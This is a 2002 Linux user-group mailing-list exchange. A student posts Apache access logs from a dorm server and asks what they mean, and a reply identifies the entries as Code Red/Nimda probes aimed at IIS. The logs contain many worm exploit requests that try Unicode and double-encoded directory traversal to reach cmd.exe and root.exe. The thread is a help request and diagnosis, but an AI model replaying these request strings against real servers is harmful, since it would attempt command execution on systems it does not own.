You've got nothing to worry about (unless your running an unpatched version of IIS) That's just CODE */Nimda/[insert some other hilariously obvious security hole] attack on IIS... Tim. -----Original Message----- From: bryon3245@netzero.com [mailto:bryon3245@netzero.com] Sent: Tuesday, January 29, 2002 14:36 PM To: wlug@mail.wlug.org Subject: [Wlug] apache help I had some questions about apache. I am running apache on my dorm computer which is a win 98 and I started getting some strange log's. Sorry about it being so long but the stuff that scares is near the bottom. Could you also help me make it so users have to enter a password and username to acess certain sections of the site. Thanks everyone. Here are the log's ---Start of acess long--- 207.159.186.214 - - [21/Jan/2002:13:37:39 -0500] "GET / HTTP/1.1" 200 3848 207.159.186.214 - - [21/Jan/2002:13:37:39 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.186.214 - - [21/Jan/2002:13:37:55 -0500] "GET /westfield/index.html HTTP/1.1" 200 25 207.159.186.214 - - [21/Jan/2002:13:37:58 -0500] "GET /pass.html HTTP/1.1" 200 541 207.159.186.214 - - [21/Jan/2002:13:38:02 -0500] "GET /playlistnew.html HTTP/1.1" 200 113637 207.159.186.214 - - [21/Jan/2002:13:38:02 -0500] "GET /null HTTP/1.1" 404 284 205.188.209.137 - - [21/Jan/2002:16:55:03 -0500] "GET / HTTP/1.0" 200 3848 205.188.209.103 - - [21/Jan/2002:16:55:06 -0500] "GET /pic/coolrun.GIF HTTP/1.0" 200 35654 205.188.209.171 - - [21/Jan/2002:16:55:39 -0500] "GET /playlist.html HTTP/1.0" 200 21864 205.188.209.107 - - [21/Jan/2002:16:55:42 -0500] "GET /null HTTP/1.0" 404 272 205.188.209.171 - - [21/Jan/2002:16:56:20 -0500] "GET /dmb/ HTTP/1.0" 200 0 207.159.184.101 - - [21/Jan/2002:17:29:09 -0500] "GET / HTTP/1.1" 200 3848 207.159.184.101 - - [21/Jan/2002:17:29:09 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.190.154 - - [21/Jan/2002:17:48:47 -0500] "GET / HTTP/1.1" 200 3848 207.159.190.154 - - [21/Jan/2002:17:48:47 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.190.154 - - [21/Jan/2002:17:49:10 -0500] "GET /dmb/ HTTP/1.1" 200 0 207.159.190.154 - - [21/Jan/2002:17:52:37 -0500] "GET / HTTP/1.1" 304 - 207.159.190.154 - - [21/Jan/2002:17:52:44 -0500] "GET /westfield/index.html HTTP/1.1" 200 230 207.159.185.198 - - [22/Jan/2002:12:04:24 -0500] "GET / HTTP/1.1" 200 4131 207.159.185.198 - - [22/Jan/2002:12:04:24 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.185.198 - - [22/Jan/2002:12:04:53 -0500] "GET /westfield/index.html HTTP/1.1" 200 230 207.159.188.168 - - [22/Jan/2002:12:33:56 -0500] "GET / HTTP/1.1" 200 4131 207.159.188.168 - - [22/Jan/2002:12:33:57 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.188.168 - - [22/Jan/2002:12:34:23 -0500] "GET /playlist.html HTTP/1.1" 200 21864 207.159.188.168 - - [22/Jan/2002:12:34:23 -0500] "GET /null HTTP/1.1" 404 284 207.159.182.24 - - [22/Jan/2002:14:18:44 -0500] "GET / HTTP/1.1" 200 4131 207.159.182.24 - - [22/Jan/2002:14:18:47 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.182.24 - - [22/Jan/2002:14:19:38 -0500] "GET /null HTTP/1.1" 404 284 207.159.182.24 - - [22/Jan/2002:14:19:38 -0500] "GET /playlistnew.html HTTP/1.1" 200 113637 207.159.186.206 - - [23/Jan/2002:01:54:45 -0500] "GET / HTTP/1.1" 200 4309 207.159.186.206 - - [23/Jan/2002:01:54:48 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.185.221 - - [23/Jan/2002:10:07:37 -0500] "GET / HTTP/1.1" 200 4309 207.159.185.221 - - [23/Jan/2002:10:07:38 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.185.221 - - [23/Jan/2002:13:56:46 -0500] "GET /ebay/dict.jpg HTTP/1.1" 200 18044 207.12.170.187 - - [23/Jan/2002:16:04:08 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.12.170.187 - - [23/Jan/2002:16:04:09 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.12.170.187 - - [23/Jan/2002:16:04:09 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.12.170.187 - - [23/Jan/2002:16:04:10 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.12.170.187 - - [23/Jan/2002:16:04:10 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.12.170.187 - - [23/Jan/2002:16:04:11 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.12.170.187 - - [23/Jan/2002:16:04:12 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.12.170.187 - - [23/Jan/2002:16:04:13 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.12.170.187 - - [23/Jan/2002:16:04:14 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.12.170.187 - - [23/Jan/2002:16:04:15 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.12.170.187 - - [23/Jan/2002:16:04:16 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.12.170.187 - - [23/Jan/2002:16:04:19 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.12.170.187 - - [23/Jan/2002:16:04:20 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.12.170.187 - - [23/Jan/2002:16:04:20 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.12.170.187 - - [23/Jan/2002:16:04:21 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.12.170.187 - - [23/Jan/2002:16:04:22 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.79.223.201 - - [25/Jan/2002:00:04:32 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.79.223.201 - - [25/Jan/2002:00:04:33 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.79.223.201 - - [25/Jan/2002:00:04:34 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.79.223.201 - - [25/Jan/2002:00:04:38 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.79.223.201 - - [25/Jan/2002:00:04:38 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.79.223.201 - - [25/Jan/2002:00:04:39 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.79.223.201 - - [25/Jan/2002:00:04:39 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.79.223.201 - - [25/Jan/2002:00:04:40 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.79.223.201 - - [25/Jan/2002:00:04:44 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.79.223.201 - - [25/Jan/2002:00:04:44 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.79.223.201 - - [25/Jan/2002:00:04:45 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.79.223.201 - - [25/Jan/2002:00:04:45 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.79.223.201 - - [25/Jan/2002:00:04:46 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.79.223.201 - - [25/Jan/2002:00:04:46 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.79.223.201 - - [25/Jan/2002:00:04:47 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.79.223.201 - - [25/Jan/2002:00:04:48 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 172.136.154.122 - - [25/Jan/2002:07:03:39 -0500] "GET / HTTP/1.1" 200 3908 172.136.154.122 - - [25/Jan/2002:07:04:02 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 172.136.154.122 - - [25/Jan/2002:07:05:48 -0500] "GET /climb/climbpic.html HTTP/1.1" 200 1214 172.136.154.122 - - [25/Jan/2002:07:06:03 -0500] "GET /pic/climb-web/DiamondSunrise.jpg HTTP/1.1" 200 47405 172.136.154.122 - - [25/Jan/2002:07:06:14 -0500] "GET /pic/climb-web/ElMatadorJam.jpg HTTP/1.1" 200 44299 172.136.154.122 - - [25/Jan/2002:07:06:19 -0500] "GET /pic/climb-web/ElMatadorLead.jpg HTTP/1.1" 200 16384 172.136.154.122 - - [25/Jan/2002:07:06:53 -0500] "GET /pass.html HTTP/1.1" 200 541 207.69.105.152 - - [25/Jan/2002:08:43:41 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.69.105.152 - - [25/Jan/2002:08:43:42 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.69.105.152 - - [25/Jan/2002:08:43:44 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.69.105.152 - - [25/Jan/2002:08:43:44 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.69.105.152 - - [25/Jan/2002:08:43:45 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.69.105.152 - - [25/Jan/2002:08:43:46 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.69.105.152 - - [25/Jan/2002:08:43:46 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.69.105.152 - - [25/Jan/2002:08:43:47 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.69.105.152 - - [25/Jan/2002:08:43:47 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.69.105.152 - - [25/Jan/2002:08:43:48 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.69.105.152 - - [25/Jan/2002:08:43:48 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.69.105.152 - - [25/Jan/2002:08:43:48 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.69.105.152 - - [25/Jan/2002:08:43:49 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.69.105.152 - - [25/Jan/2002:08:43:53 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.69.105.152 - - [25/Jan/2002:08:43:53 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.69.105.152 - - [25/Jan/2002:08:43:54 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 172.150.104.186 - - [25/Jan/2002:17:00:57 -0500] "GET / HTTP/1.1" 200 3908 172.150.104.186 - - [25/Jan/2002:17:01:00 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 172.150.104.186 - - [25/Jan/2002:17:01:26 -0500] "GET /westfield/index.html HTTP/1.1" 200 230 172.150.104.186 - - [25/Jan/2002:17:01:36 -0500] "GET /pass.html HTTP/1.1" 200 541 207.127.214.82 - - [25/Jan/2002:17:53:17 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.127.214.82 - - [25/Jan/2002:17:53:17 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.127.214.82 - - [25/Jan/2002:17:53:17 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.127.214.82 - - [25/Jan/2002:17:53:17 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.127.214.82 - - [25/Jan/2002:17:53:18 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.127.214.82 - - [25/Jan/2002:17:53:18 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.127.214.82 - - [25/Jan/2002:17:53:18 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.127.214.82 - - [25/Jan/2002:17:53:18 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.127.214.82 - - [25/Jan/2002:17:53:18 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.127.214.82 - - [25/Jan/2002:17:53:18 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.127.214.82 - - [25/Jan/2002:17:53:19 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.127.214.82 - - [25/Jan/2002:17:53:19 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.127.214.82 - - [25/Jan/2002:17:53:19 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.127.214.82 - - [25/Jan/2002:17:53:19 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.127.214.82 - - [25/Jan/2002:17:53:19 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.127.214.82 - - [25/Jan/2002:17:53:19 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.191.114.210 - - [26/Jan/2002:01:41:50 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.191.114.210 - - [26/Jan/2002:01:41:51 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.191.114.210 - - [26/Jan/2002:01:41:51 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.191.114.210 - - [26/Jan/2002:01:41:51 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.191.114.210 - - [26/Jan/2002:01:41:51 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.191.114.210 - - [26/Jan/2002:01:41:52 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.191.114.210 - - [26/Jan/2002:01:41:52 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.191.114.210 - - [26/Jan/2002:01:41:52 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.191.114.210 - - [26/Jan/2002:01:41:52 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.191.114.210 - - [26/Jan/2002:01:41:52 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.191.114.210 - - [26/Jan/2002:01:42:01 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.191.114.210 - - [26/Jan/2002:01:42:02 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.191.114.210 - - [26/Jan/2002:01:42:02 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.191.114.210 - - [26/Jan/2002:01:42:02 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.191.114.210 - - [26/Jan/2002:01:42:02 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.191.114.210 - - [26/Jan/2002:01:42:08 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 63.48.237.131 - - [26/Jan/2002:04:24:43 -0500] "GET /ebay/dict.jpg HTTP/1.1" 200 8192 63.48.237.131 - - [26/Jan/2002:04:26:05 -0500] "GET /ebay/dict.jpg HTTP/1.1" 200 18044 207.224.107.109 - - [26/Jan/2002:09:32:51 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.224.107.109 - - [26/Jan/2002:09:32:51 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.224.107.109 - - [26/Jan/2002:09:32:51 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.224.107.109 - - [26/Jan/2002:09:32:51 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.224.107.109 - - [26/Jan/2002:09:32:51 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.224.107.109 - - [26/Jan/2002:09:32:52 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.224.107.109 - - [26/Jan/2002:09:32:52 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.224.107.109 - - [26/Jan/2002:09:32:52 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.224.107.109 - - [26/Jan/2002:09:32:52 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.224.107.109 - - [26/Jan/2002:09:32:52 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.224.107.109 - - [26/Jan/2002:09:32:56 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.224.107.109 - - [26/Jan/2002:09:32:59 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.224.107.109 - - [26/Jan/2002:09:32:59 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.224.107.109 - - [26/Jan/2002:09:32:59 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.224.107.109 - - [26/Jan/2002:09:32:59 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.224.107.109 - - [26/Jan/2002:09:33:00 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.65.157.54 - - [27/Jan/2002:20:30:13 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.65.157.54 - - [27/Jan/2002:20:30:13 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.65.157.54 - - [27/Jan/2002:20:30:14 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.65.157.54 - - [27/Jan/2002:20:30:14 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.65.157.54 - - [27/Jan/2002:20:30:14 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.65.157.54 - - [27/Jan/2002:20:30:14 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.65.157.54 - - [27/Jan/2002:20:30:15 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.65.157.54 - - [27/Jan/2002:20:30:15 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.65.157.54 - - [27/Jan/2002:20:30:15 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.65.157.54 - - [27/Jan/2002:20:30:15 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.65.157.54 - - [27/Jan/2002:20:30:16 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.65.157.54 - - [27/Jan/2002:20:30:16 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.65.157.54 - - [27/Jan/2002:20:30:16 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.65.157.54 - - [27/Jan/2002:20:30:17 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.65.157.54 - - [27/Jan/2002:20:30:17 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.65.157.54 - - [27/Jan/2002:20:30:17 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 216.152.64.163 - - [27/Jan/2002:21:09:32 -0500] "CONNECT 216.152.64.23:7000 HTTP/1.0" 405 305 207.235.88.131 - - [27/Jan/2002:23:09:50 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 284 207.235.88.131 - - [27/Jan/2002:23:09:51 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 282 207.235.88.131 - - [27/Jan/2002:23:09:53 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.235.88.131 - - [27/Jan/2002:23:09:54 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 207.235.88.131 - - [27/Jan/2002:23:09:55 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.235.88.131 - - [27/Jan/2002:23:09:57 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.235.88.131 - - [27/Jan/2002:23:09:58 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 207.235.88.131 - - [27/Jan/2002:23:09:59 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 339 207.235.88.131 - - [27/Jan/2002:23:10:00 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.235.88.131 - - [27/Jan/2002:23:10:02 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.235.88.131 - - [27/Jan/2002:23:10:06 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.235.88.131 - - [27/Jan/2002:23:10:11 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 207.235.88.131 - - [27/Jan/2002:23:10:16 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.235.88.131 - - [27/Jan/2002:23:10:17 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 289 207.235.88.131 - - [27/Jan/2002:23:10:22 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.235.88.131 - - [27/Jan/2002:23:10:23 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 207.159.185.216 - - [28/Jan/2002:20:01:59 -0500] "GET / HTTP/1.1" 200 3908 207.159.185.216 - - [28/Jan/2002:20:01:59 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 200 35654 207.159.185.216 - - [28/Jan/2002:20:02:05 -0500] "GET /pass.html HTTP/1.1" 200 541 207.159.185.216 - - [28/Jan/2002:20:02:16 -0500] "GET /checkarhsccxxxx.html HTTP/1.1" 200 170 207.159.185.216 - - [28/Jan/2002:20:02:16 -0500] "GET /scores.html HTTP/1.1" 200 3835 207.159.185.216 - - [28/Jan/2002:20:02:16 -0500] "GET /pic/coolrun.GIF HTTP/1.1" 304 - 207.159.185.216 - - [28/Jan/2002:20:02:21 -0500] "GET /time/9.23.00.html HTTP/1.1" 200 1687 207.159.185.216 - - [28/Jan/2002:20:02:21 -0500] "GET /time/pic/run.gif HTTP/1.1" 404 296 --End of acess log--- -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . _______________________________________________ Wlug mailing list Wlug@mail.wlug.org http://mail.wlug.org/mailman/listinfo/wlug